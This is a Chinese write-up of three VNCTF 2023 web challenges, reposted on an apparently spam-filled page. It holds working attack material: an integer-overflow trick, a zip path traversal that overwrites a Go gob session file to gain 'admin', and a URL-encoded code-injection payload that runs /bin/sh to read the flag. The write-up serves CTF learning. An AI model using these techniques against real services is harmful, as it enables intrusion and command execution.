当前位置: 首页 > news >正文

长沙cms建站模板软件推广网络营销

长沙cms建站模板,软件推广网络营销,聊城网站建设 推广聊城博达,网站建设一年多少文章目录象棋王子电子木鱼BabyGo象棋王子 签到题,直接在源码中找就ok。 找到一处编码,在控制台输出。 flag为:flag{w3lc0m3_t0_VNCTF_2023~~~} 电子木鱼 需要先理清代码逻辑。 存在三个路由。 一:/路由用来查看当前的功德数量…

文章目录

  • 象棋王子
  • 电子木鱼
  • BabyGo

象棋王子

签到题,直接在源码中找就ok。

image-20230219170613121

找到一处编码,在控制台输出。

image-20230219170654773

flag为:flag{w3lc0m3_t0_VNCTF_2023~~~}

电子木鱼

需要先理清代码逻辑。

存在三个路由。

一:/路由用来查看当前的功德数量,大于十亿后即可得到flag。

二:/reset是用来清空功德。

三:/upgrade,POST路由,用来控制功德。

image-20230219171232585

在这里可以知道各种name对应的cost。

image-20230219171319445

最主要的是这几个代码,首先是当name等于Donate和Cost时

cost=cost*quantity

然后最后设定的功德值是原值减去cost值,所以想办法让cost为负数或者quantity为负数即可让功德增加,在name等于Donate和Cost时cost初始都是整数,只能让quantity为负,想到让quantity过大然后溢出。

image-20230219171812605

成功溢出。

image-20230219171831374

flag为:flag{492cd242-6038-4a31-9bc4-1701624bf759}

BabyGo

本题为复现,当时不懂如何让ctfer.Power == “admin”。

首先也是理清一下代码逻辑,存在五个路由。

首先就是/路由。

image-20230219172214142

该路由创建了一个user.gob文件,保存到userDir目录下,然后设置了ctfer.Power的值为low。

gobFile, _ := os.Create(userDir + "user.gob")
user := User{Name: "ctfer", Path: userDir, Power: "low"}

然后就是文件上传路由。

image-20230219172448959

禁止了go和gob后缀的文件传入。

将文件传入到image-20230219172751592

userUploadDir就是/页面下中回显的目录+uploads/

所以是传入到了/tmp/05b9ef44a4225019d5e074eb8582dd2a/uploads/下。

再看一下/unzip路由:

大概作用就是去解压我们传上去的文件。

但注意其中image-20230219173107976

解压后的文件会解压到userUploadDir + c.Query(“path”)

c.Query作用是查询请求URL后面的参数。

代表我们可以控制path的值,看一下filepath.Clean的作用。

image-20230219173428571

代表了可以进行目录穿越,控制解压后的文件的传入路径。

继续看最后的/backdoor路由。

image-20230219173551967

去Open之前的user.gob文件,然后经过gob.NewDecoder操作。

image-20230219173806592

NewDecoder则是一种解码方式,也就是以二进制解码一下user.gob文件。

image-20230219173903090

如果ctfer.Power==“admin”,那么变可以继续,看一下最早是如何给ctf.Power设定值的。

image-20230219173955016

所以我们可以去利用解压文件后的目录可控来覆盖user.gob文件,修改其内容。

(16)Go OS文件基础创建、打开、读写与关闭_jadeshu的博客-CSDN博客_go os.create

学习了一下文件的操作。

//user.go
package mainimport ("encoding/gob""fmt""os"
)type User struct {Name  stringPath  stringPower string
}func main(){userDir := "/tmp/05b9ef44a4225019d5e074eb8582dd2a/"  //自己docker起后的路径user := User{Name: "ctfer", Path: userDir, Power: "admin"}file, err := os.Create("./user.gob")if err != nil {fmt.Println("创建文件失败")return}defer file.Close()encoder := gob.NewEncoder(file)err = encoder.Encode(user)if err != nil {fmt.Println("编码错误")return} else {fmt.Println("编码成功")}
}

运行go脚本,然后得到gob文件,然后zip压缩上传。

payload:

/unzip?path=../../../tmp/c737f02c5be938c8ba38850084a0cb52/
/backdoor?pkg=os/exec"%0A"fmt")%0Afunc%09init()%7B%0Acmd:=exec.Command("/bin/sh","-c","cat${IFS}/f*")%0Ares,err:=cmd.CombinedOutput()%0Afmt.Println(err)%0Afmt.Println(res)%0A}%0Aconst(%0AMessage="fmt

image-20230219183150498

然后python脚本解码:

str = [102,108,97,103,123,102,54,52,99,98,52,56,53,45,101,98,57,53,45,52,52,50,99,45,57,99,49,54,45,55,100,102,98,48,52,97,100,102,57,57,101,125,10]for i in range(42):print(chr(str[i]),end="")
http://www.yayakq.cn/news/49112/

相关文章:

  • 在线视频播放网站建设百度指数官网查询
  • 网站一般用什么软件做微信_网站提成方案点做
  • 做英语陪同翻译兼职的网站网页制作的收获
  • 定远县可以做网站的地方页面设计时最好
  • 网站维护必须要会什么wordpress require_once
  • 后台与网站免费做什么代理最赚钱
  • 可信赖的宜昌网站建设wordpress分类目录进不去
  • 进行网站建设电商具体是做什么的
  • 怎么做好网站运营你在四川省建设安全与质量监督网站
  • 做好档案整理及网站建设做团购网站多少钱
  • 建设购物平台网站电子毕业设计代做网站
  • 接网站开发哪里好台州seo免费诊断
  • 扶贫办网站建设广州越秀区有什么好玩的地方
  • wordpress rest api开发seo全称英文怎么说
  • 天猫网站是怎么做seo优化的搜索指数在线查询
  • 做汽车价格的网站建设wordpress 不要可视化
  • 手机网站关键北京商场购物卡
  • 太原网站建设方案书云南省疾控中心最新提示
  • 深圳市建设厅官方网站成都市金堂县网站建设
  • 关于网站建设征求意见长尾词seo排名
  • 广州怎么做网站seo网站诊断顾问
  • 桂林市建设工程造价管理站网站游戏网站建设策划方案模板
  • 2018做电影网站还能赚钱吗新做好的网站如何做seo
  • 搭建三合一网站个人模板建站
  • 怎么写网站建设与运营培训心得体会500字
  • 高端网站案例阿里云主机怎么做两个网站吗
  • 湘潭学校网站建设 z磐石网络做海报哪个网站的素材多
  • 郑州有免费建网站的公司吗seo是什么职位的缩写
  • 网站开发技术服务协议一般做网站是用什么程序做的
  • 一个网站服务器多少钱济南做网站公司电话